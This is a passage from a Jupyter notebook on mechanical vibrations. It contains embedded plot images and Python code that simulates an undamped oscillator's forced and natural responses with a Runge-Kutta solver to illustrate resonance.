h7r8Vc1bBlSt4dQDqJHh1AOokeHUA6iR4dQDEJGJJV/2a2azgZvd/TgzuwzA\n3a/M3rsFuMLdl7b9GSUpIiKToGW/UldJpmzM7Gh3X529vABYln19E3Ctmf0zYarmaOD77X9e/6BE\nRET6S6oekveb2Tzg58DDwNsB3H3EzK4HRoCdwCWeuoQjIiIi0SWfshERERFp3B4fZnZOtmnaajP7\nq9TjScXMZpnZN83sfjO7z8z+OPWYUjOzKWa2zMy+knosKZnZAWZ2g5mtNLMRMzs19ZhSyTZavD9r\nqL/WzJ6XekxVMbNPmtkWM1vRcm16tuDgQTO71cy0JFpqo1EJiZlNAf6dsGnaAuCNZjY/7aiS2QH8\nibsfC5wK/OEAx2LUOwnTfYNe9vtXQqP4fOAEYGXi8SRhZsPA24CT3P14YArwhpRjqtg1hM/KVpcB\nS9z9GOC27LVILTQqISHsV/KQu6919x3AfxGaYgeOuz/m7suzr58hfNMZSjuqdMzsCOBc4OPAwDY9\nm9n+wOnu/kkAd9/p7k8lHlYq/0dI3Pc1s72AfYGNaYdUHXe/HfhR2+XzgU9nX38auLDSQYl00bSE\n5HBgfctrbZzGrp8ETwSWdr+zr/0L8BfAL1IPJLG5wONmdo2Z3W1mHzOzfVMPKgV3fwK4ClgHbAKe\ndPevpx1VcjPdfUv29RZgZsrBiLRqWkIy6KX4McxsP+AG4J1ZpWTgmNl5wFZ3X8YAV0cyewEnAVe7\n+0nAjxnQsryZHQlcStgYbQjYz8x+O+mgaiRbwajPVKmNpiUkG4FZLa9nEaokA8nM9ga+CHzO3Rel\nHk9CLwXON7M1wHXAK8zsM4nHlMoGYIO735W9voGQoAyik4E73X27u+8EbiT8vzLItpjZoQBmdhiw\nNfF4RHZpWkLyA+BoMxs2s6mEk4FvSjymJMzMgE8AI+7ebev9vufu73L3We4+l9C0+A13/53U40rB\n3R8D1pvZMdmls4D7Ew4ppVXAqWa2T/bv5SxC0/Mguwl4c/b1mwmnrYvUQrLD9SbD3Xea2R8BXyN0\nzH/C3QdyBQFwGnAxcK+Zje50e7m735JwTHUx6GXodwCfz5L2h4HfTTyeJNz9nqxS9gNCb9HdwEfT\njqo6ZnYdcAYww8zWA+8BrgSuN7PfA9YCr083QpHdaWM0ERERSa5pUzYiIiLSh5SQiIiISHJKSERE\nRCQ5JSQiIiKSnBISERERSU4JiYiIiCSnhESkJGa2v5m9PfU4RESaSAmJSHkOBC5JPQgRkSZSQiJS\nniuBI81smZn9Y+rBiIg0iXZqFSmJmc0B/sfdj089FhGRplGFRKQ8lnoAIiJNpYREREREklNCIlKe\np4FpqQchItJESkhESuLu24E7zGyFmlpFRHqjplYRERFJThUSERERSU4JiYiIiCSnhERERESSU0Ii\nIiIiySkhERERkeSUkIiIiEhySkhEREQkOSUkIiIiktz/AxE9IF2QXlWmAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x10f66e190>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "x, Y = (rungekutta(forced(wn, qsi=0, force=lambda x :np.cos(x*wn)), y0))\n", "plt.plot(x, Y[:,0], label='forced response')\n", "x, Y = (rungekutta(natural(wn, qsi=0), y0))\n", "plt.plot(x, Y[:,0], color=\"grey\", alpha=0.5, label='natural response')\n", "plt.title('System response when F(t) = 30 * cos(wn t)')\n", "plt.xlabel('t')\n", "plt.ylabel('y(t)')\n", "plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n", "plt.grid()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In this case the period of the natural function and the disturbance functions match ($w = w_n$), and thus the waves are infinitely amplified.\n", "\n", "Finally lets consider the case of $ w = w_n - \\epsilon = \\frac{9}{10}w_n$" ] }, { "cell_type": "code", "execution_count": 32, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [ { "data": { "image/png": "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\n4uiF8nhErf9wwBoeBc7xeCVwPvBCa